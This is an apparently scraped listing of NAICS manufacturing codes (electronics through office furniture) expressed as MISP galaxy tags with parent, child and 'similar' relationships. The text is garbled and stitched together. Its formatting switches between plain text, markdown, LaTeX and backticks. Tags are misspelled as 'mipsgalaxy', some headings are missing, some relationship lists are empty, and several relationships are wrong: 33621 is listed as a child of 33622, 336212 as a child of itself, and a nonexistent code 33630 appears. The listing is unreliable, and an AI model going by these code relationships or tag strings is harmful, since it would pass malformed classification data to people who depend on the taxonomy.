  • child-of: misp-galaxy:naics="3343" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="33431" with estimative-language:likelihood-probability="likely"

3344
Semiconductor and Other Electronic Component Manufacturing
The tag is: misp-galaxy:naics="3344"
View relationships graph
3344 has relationships with:
  • child-of: misp-galaxy:naics="334" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="33441" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="334412" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="334413" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="334416" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="334417" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="334418" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="334419" with estimative-language:likelihood-probability="likely"

33441
Semiconductor and Other Electronic Component Manufacturing
The tag is: misp-galaxy:naics="33441"
View relationships graph
33441 has relationships with:
  • child-of: misp-galaxy:naics="3344" with estimative-language:likelihood-probability="likely"
334412
Bare Printed Circuit Board Manufacturing
The tag is: misp-galaxy:naics="334412"
View relationships graph
334412 has relationships with:
  • child-of: misp-galaxy:naics="3344" with estimative-language:likelihood-probability="likely"

334413
Semiconductor and Related Device Manufacturing
The tag is: misp-galaxy:naics="334413"
View relationships graph
334413 has relationships with:
  • child-of: misp-galaxy:naics="3344" with estimative-language:likelihood-probability="likely"

334416
Capacitor, Resistor, Coil, Transformer, and Other Inductor Manufacturing
The tag is: misp-galaxy:naics="334416"
View relationships graph
334416 has relationships with:
  • child-of: misp-galaxy:naics="3344" with estimative-language:likelihood-probability="likely"

334417
Electronic Connector Manufacturing
The tag is: misp-galaxy:naics="334417"
View relationships graph
334417 has relationships with:
  • child-of: misp-galaxy:naics="3344" with estimative-language:likelihood-probability="likely"
334418
Printed Circuit Assembly (Electronic Assembly) Manufacturing

The tag is: misp-galaxy:naics="334418"

View relationships graph

334418 has relationships with:

• child-of: misp-galaxy:naics="3344" with estimative-language:likelihood-probability="likely"

334419
Other Electronic Component Manufacturing

The tag is: misp-galaxy:naics="334419"

View relationships graph

334419 has relationships with:

• child-of: misp-galaxy:naics="3344" with estimative-language:likelihood-probability="likely"

3345
Navigational, Measuring, Electromedical, and Control Instruments Manufacturing

The tag is: misp-galaxy:naics="3345"

View relationships graph

3345 has relationships with:

• child-of: misp-galaxy:naics="334" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="33451" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="334510" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="334511" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="334512" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="334513" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="334514" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="334515" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="334516" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="334517" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="334519" with estimative-language:likelihood-probability="likely"
33451
Navigational, Measuring, Electromedical, and Control Instruments Manufacturing

The tag is: misp-galaxy:naics="33451"

View relationships graph

33451 has relationships with:

• child-of: misp-galaxy:naics="3345" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="334510" with estimative-language:likelihood-probability="likely"

334510
Electromedical and Electrotherapeutic Apparatus Manufacturing

The tag is: misp-galaxy:naics="334510"

View relationships graph

334510 has relationships with:

• child-of: misp-galaxy:naics="3345" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="33451" with estimative-language:likelihood-probability="likely"

334511
Search, Detection, Navigation, Guidance, Aeronautical, and Nautical System and Instrument Manufacturing

The tag is: misp-galaxy:naics="334511"

View relationships graph

334511 has relationships with:

• child-of: misp-galaxy:naics="3345" with estimative-language:likelihood-probability="likely"

334512
Automatic Environmental Control Manufacturing for Residential, Commercial, and Appliance Use

The tag is: misp-galaxy:naics="334512"

View relationships graph

334512 has relationships with:
334513
Instruments and Related Products Manufacturing for Measuring, Displaying, and Controlling Industrial Process Variables
The tag is: mipsgalaxy:naics="334513"
View relationships graph
334513 has relationships with:
  • child-of: mipsgalaxy:naics="3345" with estimative-language:likelihood-probability="likely"

334514
Totalizing Fluid Meter and Counting Device Manufacturing
The tag is: mipsgalaxy:naics="334514"
View relationships graph
334514 has relationships with:
  • child-of: mipsgalaxy:naics="3345" with estimative-language:likelihood-probability="likely"

334515
Instrument Manufacturing for Measuring and Testing Electricity and Electrical Signals
The tag is: mipsgalaxy:naics="334515"
View relationships graph
334515 has relationships with:
  • child-of: mipsgalaxy:naics="3345" with estimative-language:likelihood-probability="likely"

334516
Analytical Laboratory Instrument Manufacturing
The tag is: mipsgalaxy:naics="334516"
View relationships graph
334516 has relationships with:
  • child-of: mipsgalaxy:naics="3345" with estimative-language:likelihood-probability="likely"
334517
Irradiation Apparatus Manufacturing
The tag is: misp-galaxy:naics="334517"
View relationships graph
334517 has relationships with:
  • child-of: misp-galaxy:naics="3345" with estimative-language:likelihood-probability="likely"

334519
Other Measuring and Controlling Device Manufacturing
The tag is: misp-galaxy:naics="334519"
View relationships graph
334519 has relationships with:
  • child-of: misp-galaxy:naics="3345" with estimative-language:likelihood-probability="likely"

3346
Manufacturing and Reproducing Magnetic and Optical Media
The tag is: misp-galaxy:naics="3346"
View relationships graph
3346 has relationships with:
  • child-of: misp-galaxy:naics="334" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="33461" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="334610" with estimative-language:likelihood-probability="likely"

33461
Manufacturing and Reproducing Magnetic and Optical Media
The tag is: misp-galaxy:naics="33461"
View relationships graph
33461 has relationships with:
  • child-of: misp-galaxy:naics="3346" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="334610" with estimative-language:likelihood-probability="likely"

334610
Manufacturing and Reproducing Magnetic and Optical Media

The tag is: misp-galaxy:naics="334610"

View relationships graph

334610 has relationships with:

• child-of: misp-galaxy:naics="3346" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="33461" with estimative-language:likelihood-probability="likely"

335
Electrical Equipment, Appliance, and Component Manufacturing

The tag is: misp-galaxy:naics="335"

View relationships graph

335 has relationships with:

• parent-of: misp-galaxy:naics="3351" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3352" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3353" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3359" with estimative-language:likelihood-probability="likely"

3351
Electric Lighting Equipment Manufacturing

The tag is: misp-galaxy:naics="3351"

View relationships graph

3351 has relationships with:

• child-of: misp-galaxy:naics="335" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="33513" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="335131" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="335132" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="335139" with estimative-language:likelihood-probability="likely"
33513
Electric Lighting Equipment Manufacturing
The tag is: misp-galaxy:naics="33513"
View relationships graph

33513 has relationships with:
• child-of: misp-galaxy:naics="3351" with estimative-language:likelihood-probability="likely"

335131
Residential Electric Lighting Fixture Manufacturing
The tag is: misp-galaxy:naics="335131"
View relationships graph

335131 has relationships with:
• child-of: misp-galaxy:naics="3351" with estimative-language:likelihood-probability="likely"

335132
Commercial, Industrial, and Institutional Electric Lighting Fixture Manufacturing
The tag is: misp-galaxy:naics="335132"
View relationships graph

335132 has relationships with:
• child-of: misp-galaxy:naics="3351" with estimative-language:likelihood-probability="likely"

335139
Electric Lamp Bulb and Other Lighting Equipment Manufacturing
The tag is: misp-galaxy:naics="335139"
View relationships graph

335139 has relationships with:
• child-of: misp-galaxy:naics="3351" with estimative-language:likelihood-probability="likely"
3352
Household Appliance Manufacturing
The tag is: *misp-galaxy:naics*="3352"

View relationships graph

3352 has relationships with:

- child-of: *misp-galaxy:naics*="335" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics*="33521" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics*="335210" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics*="33522" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics*="335220" with estimative-language:likelihood-probability="likely"

33521
Small Electrical Appliance Manufacturing
The tag is: *misp-galaxy:naics*="33521"

View relationships graph

33521 has relationships with:

- child-of: *misp-galaxy:naics*="335" with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics*="335210" with estimative-language:likelihood-probability="likely"

335210
Small Electrical Appliance Manufacturing
The tag is: *misp-galaxy:naics*="335210"

View relationships graph

335210 has relationships with:

- child-of: *misp-galaxy:naics*="335" with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics*="33521" with estimative-language:likelihood-probability="likely"

33522
Major Household Appliance Manufacturing
The tag is: *misp-galaxy:naics*="33522"
View relationships graph

33522 has relationships with:

- child-of: misp-galaxy:naics="3352" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="335220" with estimative-language:likelihood-probability="likely"

335220

Major Household Appliance Manufacturing

The tag is: misp-galaxy:naics="335220"

View relationships graph

335220 has relationships with:

- child-of: misp-galaxy:naics="3352" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33522" with estimative-language:likelihood-probability="likely"

3353

Electrical Equipment Manufacturing

The tag is: misp-galaxy:naics="3353"

View relationships graph

3353 has relationships with:

- child-of: misp-galaxy:naics="335" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33531" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="335311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="335313" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="335314" with estimative-language:likelihood-probability="likely"

33531

Electrical Equipment Manufacturing

The tag is: misp-galaxy:naics="33531"

View relationships graph

33531 has relationships with:
335311
Power, Distribution, and Specialty Transformer Manufacturing
The tag is: misp-galaxy:naics="335311"
View relationships graph
335311 has relationships with:
  • child-of: misp-galaxy:naics="3353" with estimative-language:likelihood-probability="likely"

335312
Motor and Generator Manufacturing
The tag is: misp-galaxy:naics="335312"
View relationships graph
335312 has relationships with:
  • child-of: misp-galaxy:naics="3353" with estimative-language:likelihood-probability="likely"

335313
Switchgear and Switchboard Apparatus Manufacturing
The tag is: misp-galaxy:naics="335313"
View relationships graph
335313 has relationships with:
  • child-of: misp-galaxy:naics="3353" with estimative-language:likelihood-probability="likely"

335314
Relay and Industrial Control Manufacturing
The tag is: misp-galaxy:naics="335314"
View relationships graph
335314 has relationships with:
  • child-of: misp-galaxy:naics="3353" with estimative-language:likelihood-probability="likely"
Other Electrical Equipment and Component Manufacturing

The tag is: `misp-galaxy:naics="3359"`

View relationships graph

3359 has relationships with:

- child-of: `misp-galaxy:naics="335"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="33591"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="335910"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="33593"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="335931"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="335932"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="33599"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="335991"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="335999"` with estimative-language:likelihood-probability="likely"

Battery Manufacturing

The tag is: `misp-galaxy:naics="33591"`

View relationships graph

33591 has relationships with:

- child-of: `misp-galaxy:naics="3359"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="335910"` with estimative-language:likelihood-probability="likely"

Battery Manufacturing

The tag is: `misp-galaxy:naics="335910"`

View relationships graph

335910 has relationships with:
33592
Communication and Energy Wire and Cable Manufacturing
The tag is: `misp-galaxy:naics="33592"`

View relationships graph

33592 has relationships with:

- child-of: `misp-galaxy:naics="3359"` with estimative-language:likelihood-probability="likely"

335921
Fiber Optic Cable Manufacturing
The tag is: `misp-galaxy:naics="335921"`

View relationships graph

335921 has relationships with:

- child-of: `misp-galaxy:naics="3359"` with estimative-language:likelihood-probability="likely"

335929
Other Communication and Energy Wire Manufacturing
The tag is: `misp-galaxy:naics="335929"`

View relationships graph

335929 has relationships with:

- child-of: `misp-galaxy:naics="3359"` with estimative-language:likelihood-probability="likely"

33593
Wiring Device Manufacturing
The tag is: `misp-galaxy:naics="33593"`

View relationships graph

33593 has relationships with:

- child-of: `misp-galaxy:naics="3359"` with estimative-language:likelihood-probability="likely"
335931
Current-Carrying Wiring Device Manufacturing
The tag is: misp-galaxy:naics="335931"
View relationships graph
335931 has relationships with:
  • child-of: misp-galaxy:naics="3359" with estimative-language:likelihood-probability="likely"

335932
Noncurrent-Carrying Wiring Device Manufacturing
The tag is: misp-galaxy:naics="335932"
View relationships graph
335932 has relationships with:
  • child-of: misp-galaxy:naics="3359" with estimative-language:likelihood-probability="likely"

33599
All Other Electrical Equipment and Component Manufacturing
The tag is: misp-galaxy:naics="33599"
View relationships graph
33599 has relationships with:
  • child-of: misp-galaxy:naics="3359" with estimative-language:likelihood-probability="likely"

335991
Carbon and Graphite Product Manufacturing
The tag is: misp-galaxy:naics="335991"
View relationships graph
335991 has relationships with:
  • child-of: misp-galaxy:naics="3359" with estimative-language:likelihood-probability="likely"
335999

All Other Miscellaneous Electrical Equipment and Component Manufacturing

The tag is: misp-galaxy:naics="335999"

View relationships graph

335999 has relationships with:

- child-of: misp-galaxy:naics="3359" with estimative-language:likelihood-probability="likely"

336

Transportation Equipment Manufacturing

The tag is: misp-galaxy:naics="336"

View relationships graph

336 has relationships with:

- parent-of: misp-galaxy:naics="3361" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3362" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3364" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3365" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3366" with estimative-language:likelihood-probability="likely"

3361

Motor Vehicle Manufacturing

The tag is: misp-galaxy:naics="3361"

View relationships graph

3361 has relationships with:

- child-of: misp-galaxy:naics="336" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="336110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33612" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="336120" with estimative-language:likelihood-probability="likely"
33611
Automobile and Light Duty Motor Vehicle Manufacturing
The tag is: misp-galaxy:naics="33611"
View relationships graph
33611 has relationships with:
• child-of: misp-galaxy:naics="3361" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="336110" with estimative-language:likelihood-probability="likely"

336110
Automobile and Light Duty Motor Vehicle Manufacturing
The tag is: misp-galaxy:naics="336110"
View relationships graph
336110 has relationships with:
• child-of: misp-galaxy:naics="3361" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="33611" with estimative-language:likelihood-probability="likely"

33612
Heavy Duty Truck Manufacturing
The tag is: misp-galaxy:naics="33612"
View relationships graph
33612 has relationships with:
• child-of: misp-galaxy:naics="3361" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="336120" with estimative-language:likelihood-probability="likely"

336120
Heavy Duty Truck Manufacturing
The tag is: misp-galaxy:naics="336120"
View relationships graph
336120 has relationships with:
3362
Motor Vehicle Body and Trailer Manufacturing
The tag is: `misp-galaxy:naics="3362"

View relationships graph

3362 has relationships with:

- child-of: `misp-galaxy:naics="33621"
- parent-of: `misp-galaxy:naics="336211"
- parent-of: `misp-galaxy:naics="336212"
- parent-of: `misp-galaxy:naics="336213"
- parent-of: `misp-galaxy:naics="336214"

33621
Motor Vehicle Body and Trailer Manufacturing
The tag is: `misp-galaxy:naics="33621"

View relationships graph

33621 has relationships with:

- child-of: `misp-galaxy:naics="33622"

336211
Motor Vehicle Body Manufacturing
The tag is: `misp-galaxy:naics="336211"

View relationships graph

336211 has relationships with:

- child-of: `misp-galaxy:naics="33622"

336212
Truck Trailer Manufacturing

The tag is: `misp-galaxy:naics="336212"

View relationships graph

336212 has relationships with:

- child-of: `misp-galaxy:naics="336212"
The tag is: \textit{misp-galaxy:naics="336212"}

\textbf{View relationships graph}

336212 has relationships with:

- child-of: \textit{misp-galaxy:naics="3362"} with \textit{estimative-language:likelihood-probability="likely"}

\underline{336213}

Motor Home Manufacturing

The tag is: \textit{misp-galaxy:naics="336213"}

\textbf{View relationships graph}

336213 has relationships with:

- child-of: \textit{misp-galaxy:naics="3362"} with \textit{estimative-language:likelihood-probability="likely"}

\underline{336214}

Travel Trailer and Camper Manufacturing

The tag is: \textit{misp-galaxy:naics="336214"}

\textbf{View relationships graph}

336214 has relationships with:

- child-of: \textit{misp-galaxy:naics="3362"} with \textit{estimative-language:likelihood-probability="likely"}

\underline{3363}

Motor Vehicle Parts Manufacturing

The tag is: \textit{misp-galaxy:naics="3363"}

\textbf{View relationships graph}

3363 has relationships with:

• parent-of: misp-galaxy:naics="336330" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="33634" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="336340" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="33635" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="336350" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="33636" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="336360" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="33637" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="336370" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="33639" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="336390" with estimative-language:likelihood-probability="likely"

33631
Motor Vehicle Gasoline Engine and Engine Parts Manufacturing

The tag is: misp-galaxy:naics="33631"

View relationships graph

33631 has relationships with:

• child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="336310" with estimative-language:likelihood-probability="likely"

336310
Motor Vehicle Gasoline Engine and Engine Parts Manufacturing

The tag is: misp-galaxy:naics="336310"

View relationships graph

336310 has relationships with:

• child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="33631" with estimative-language:likelihood-probability="likely"

33632
Motor Vehicle Electrical and Electronic Equipment Manufacturing

The tag is: misp-galaxy:naics="33632"
33632 has relationships with:

- child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="336320" with estimative-language:likelihood-probability="likely"

336320
Motor Vehicle Electrical and Electronic Equipment Manufacturing
The tag is: misp-galaxy:naics="336320"

33633 has relationships with:

- child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="336330" with estimative-language:likelihood-probability="likely"

33633
Motor Vehicle Steering and Suspension Components (except Spring) Manufacturing
The tag is: misp-galaxy:naics="33633"

336330 has relationships with:

- child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="336330" with estimative-language:likelihood-probability="likely"

336330
Motor Vehicle Steering and Suspension Components (except Spring) Manufacturing
The tag is: misp-galaxy:naics="336330"
33634
Motor Vehicle Brake System Manufacturing
The tag is: misp-galaxy:naics="33634"
View relationships graph
33634 has relationships with:
• child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="336340" with estimative-language:likelihood-probability="likely"

336340
Motor Vehicle Brake System Manufacturing
The tag is: misp-galaxy:naics="336340"
View relationships graph
336340 has relationships with:
• child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="33634" with estimative-language:likelihood-probability="likely"

33635
Motor Vehicle Transmission and Power Train Parts Manufacturing
The tag is: misp-galaxy:naics="33635"
View relationships graph
33635 has relationships with:
• child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="336350" with estimative-language:likelihood-probability="likely"

336350
Motor Vehicle Transmission and Power Train Parts Manufacturing
The tag is: misp-galaxy:naics="336350"
View relationships graph
336350 has relationships with:
33636
Motor Vehicle Seating and Interior Trim Manufacturing

The tag is: `misp-galaxy:naics="33636"`

View relationships graph

33636 has relationships with:

- child-of: `misp-galaxy:naics="3363"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="33635"` with estimative-language:likelihood-probability="likely"

33630
Motor Vehicle Seating and Interior Trim Manufacturing

The tag is: `misp-galaxy:naics="33630"`

View relationships graph

33630 has relationships with:

- child-of: `misp-galaxy:naics="3363"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="33636"` with estimative-language:likelihood-probability="likely"

33637
Motor Vehicle Metal Stamping

The tag is: `misp-galaxy:naics="33637"`

View relationships graph

33637 has relationships with:

- child-of: `misp-galaxy:naics="3363"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="33636"` with estimative-language:likelihood-probability="likely"

336370
Motor Vehicle Metal Stamping

The tag is: `misp-galaxy:naics="336370"`
336370 has relationships with:

- child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33637" with estimative-language:likelihood-probability="likely"

33639

Other Motor Vehicle Parts Manufacturing

The tag is: misp-galaxy:naics="33639"

33639 has relationships with:

- child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="336390" with estimative-language:likelihood-probability="likely"

336390

Other Motor Vehicle Parts Manufacturing

The tag is: misp-galaxy:naics="336390"

3364

Aerospace Product and Parts Manufacturing

The tag is: misp-galaxy:naics="3364"
33641
Aerospace Product and Parts Manufacturing
The tag is: misp-galaxy:naics="33641"

View relationships graph

33641 has relationships with:
- child-of: misp-galaxy:naics="3364" with estimative-language:likelihood-probability="likely"

336411
Aircraft Manufacturing
The tag is: misp-galaxy:naics="336411"

View relationships graph

336411 has relationships with:
- child-of: misp-galaxy:naics="3364" with estimative-language:likelihood-probability="likely"

336412
Aircraft Engine and Engine Parts Manufacturing
The tag is: misp-galaxy:naics="336412"

View relationships graph

336412 has relationships with:
- child-of: misp-galaxy:naics="3364" with estimative-language:likelihood-probability="likely"

336413
Other Aircraft Parts and Auxiliary Equipment Manufacturing
The tag is: misp-galaxy:naics="336413"

View relationships graph
336413 has relationships with:
  • child-of: misp-galaxy:naics="3364" with estimative-language:likelihood-probability="likely"

336414
Guided Missile and Space Vehicle Manufacturing
The tag is: misp-galaxy:naics="336414"
View relationships graph

336415
Guided Missile and Space Vehicle Propulsion Unit and Propulsion Unit Parts Manufacturing
The tag is: misp-galaxy:naics="336415"
View relationships graph

336419
Other Guided Missile and Space Vehicle Parts and Auxiliary Equipment Manufacturing
The tag is: misp-galaxy:naics="336419"
View relationships graph

3365
Railroad Rolling Stock Manufacturing
The tag is: misp-galaxy:naics="3365"
View relationships graph
• child-of: misp-galaxy:naics="336" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="33651" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="336510" with estimative-language:likelihood-probability="likely"

33651
Railroad Rolling Stock Manufacturing
The tag is: misp-galaxy:naics="33651"

View relationships graph

33651 has relationships with:
• child-of: misp-galaxy:naics="336" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="336510" with estimative-language:likelihood-probability="likely"

336510
Railroad Rolling Stock Manufacturing
The tag is: misp-galaxy:naics="336510"

View relationships graph

336510 has relationships with:
• child-of: misp-galaxy:naics="336" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="33651" with estimative-language:likelihood-probability="likely"

3366
Ship and Boat Building
The tag is: misp-galaxy:naics="3366"

View relationships graph

3366 has relationships with:
• child-of: misp-galaxy:naics="336" with estimative-language:likelihood-probability="likely"
33661
Ship and Boat Building
The tag is: misp-galaxy:naics="33661"

View relationships graph

33661 has relationships with:

• child-of: misp-galaxy:naics="3366" with estimative-language:likelihood-probability="likely"

336611
Ship Building and Repairing
The tag is: misp-galaxy:naics="336611"

View relationships graph

336611 has relationships with:

• child-of: misp-galaxy:naics="3366" with estimative-language:likelihood-probability="likely"

336612
Boat Building
The tag is: misp-galaxy:naics="336612"

View relationships graph

336612 has relationships with:

• child-of: misp-galaxy:naics="3366" with estimative-language:likelihood-probability="likely"

3369
Other Transportation Equipment Manufacturing
The tag is: misp-galaxy:naics="3369"

View relationships graph

3369 has relationships with:

• child-of: misp-galaxy:naics="336" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="33699" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="336991" with estimative-language:likelihood-probability="likely"
33699

Other Transportation Equipment Manufacturing

The tag is: misp-galaxy:naics="33699"

View relationships graph

33699 has relationships with:

- child-of: misp-galaxy:naics="3369" with estimative-language:likelihood-probability="likely"

336991

Motorcycle, Bicycle, and Parts Manufacturing

The tag is: misp-galaxy:naics="336991"

View relationships graph

336991 has relationships with:

- child-of: misp-galaxy:naics="3369" with estimative-language:likelihood-probability="likely"

336992

Military Armored Vehicle, Tank, and Tank Component Manufacturing

The tag is: misp-galaxy:naics="336992"

View relationships graph

336992 has relationships with:

- child-of: misp-galaxy:naics="3369" with estimative-language:likelihood-probability="likely"

336999

All Other Transportation Equipment Manufacturing

The tag is: misp-galaxy:naics="336999"

View relationships graph

336999 has relationships with:

- child-of: misp-galaxy:naics="3369" with estimative-language:likelihood-probability="likely"
337

Furniture and Related Product Manufacturing

The tag is: *misp-galaxy:naics="337"

View relationships graph

337 has relationships with:

- parent-of: *misp-galaxy:naics="3371" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="3379" with estimative-language:likelihood-probability="likely"

3371

Household and Institutional Furniture and Kitchen Cabinet Manufacturing

The tag is: *misp-galaxy:naics="3371"

View relationships graph

3371 has relationships with:

- child-of: *misp-galaxy:naics="337" with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics="33710" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="33711" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="337110" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="33712" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="337121" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="337122" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="337126" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="337127" with estimative-language:likelihood-probability="likely"

33711

Wood Kitchen Cabinet and Countertop Manufacturing

The tag is: *misp-galaxy:naics="33711"

View relationships graph

33711 has relationships with:

- child-of: *misp-galaxy:naics="337" with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics="337110" with estimative-language:likelihood-probability="likely"
337110
Wood Kitchen Cabinet and Countertop Manufacturing
The tag is: misp-galaxy:naics="337110"

View relationships graph

337110 has relationships with:
  • child-of: misp-galaxy:naics="3371" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="33711" with estimative-language:likelihood-probability="likely"

33712
Household and Institutional Furniture Manufacturing
The tag is: misp-galaxy:naics="33712"

View relationships graph

33712 has relationships with:
  • child-of: misp-galaxy:naics="3371" with estimative-language:likelihood-probability="likely"

337121
Upholstered Household Furniture Manufacturing
The tag is: misp-galaxy:naics="337121"

View relationships graph

337121 has relationships with:
  • child-of: misp-galaxy:naics="3371" with estimative-language:likelihood-probability="likely"

337122
Nonupholstered Wood Household Furniture Manufacturing
The tag is: misp-galaxy:naics="337122"

View relationships graph

337122 has relationships with:
  • child-of: misp-galaxy:naics="3371" with estimative-language:likelihood-probability="likely"
337126
Household Furniture (except Wood and Upholstered) Manufacturing

The tag is: mipsgalaxy:naics=“337126”

View relationships graph

337126 has relationships with:


337127
Institutional Furniture Manufacturing

The tag is: mipsgalaxy:naics=“337127”

View relationships graph

337127 has relationships with:


3372
Office Furniture (including Fixtures) Manufacturing

The tag is: mipsgalaxy:naics=“3372”

View relationships graph

3372 has relationships with:


33721
Office Furniture (including Fixtures) Manufacturing

The tag is: mipsgalaxy:naics=“33721”

View relationships graph
33721 has relationships with:

- child-of: misp-galaxy:naics="3372" with estimative-language:likelihood-probability="likely"

### 337211

Wood Office Furniture Manufacturing

The tag is: **misp-galaxy:naics="337211"**

View relationships graph

337211 has relationships with:

- child-of: misp-galaxy:naics="3372" with estimative-language:likelihood-probability="likely"

### 337212

Custom Architectural Woodwork and Millwork Manufacturing

The tag is: **misp-galaxy:naics="337212"**

View relationships graph

337212 has relationships with:

- child-of: misp-galaxy:naics="3372" with estimative-language:likelihood-probability="likely"

### 337214

Office Furniture (except Wood) Manufacturing

The tag is: **misp-galaxy:naics="337214"**

View relationships graph

337214 has relationships with:

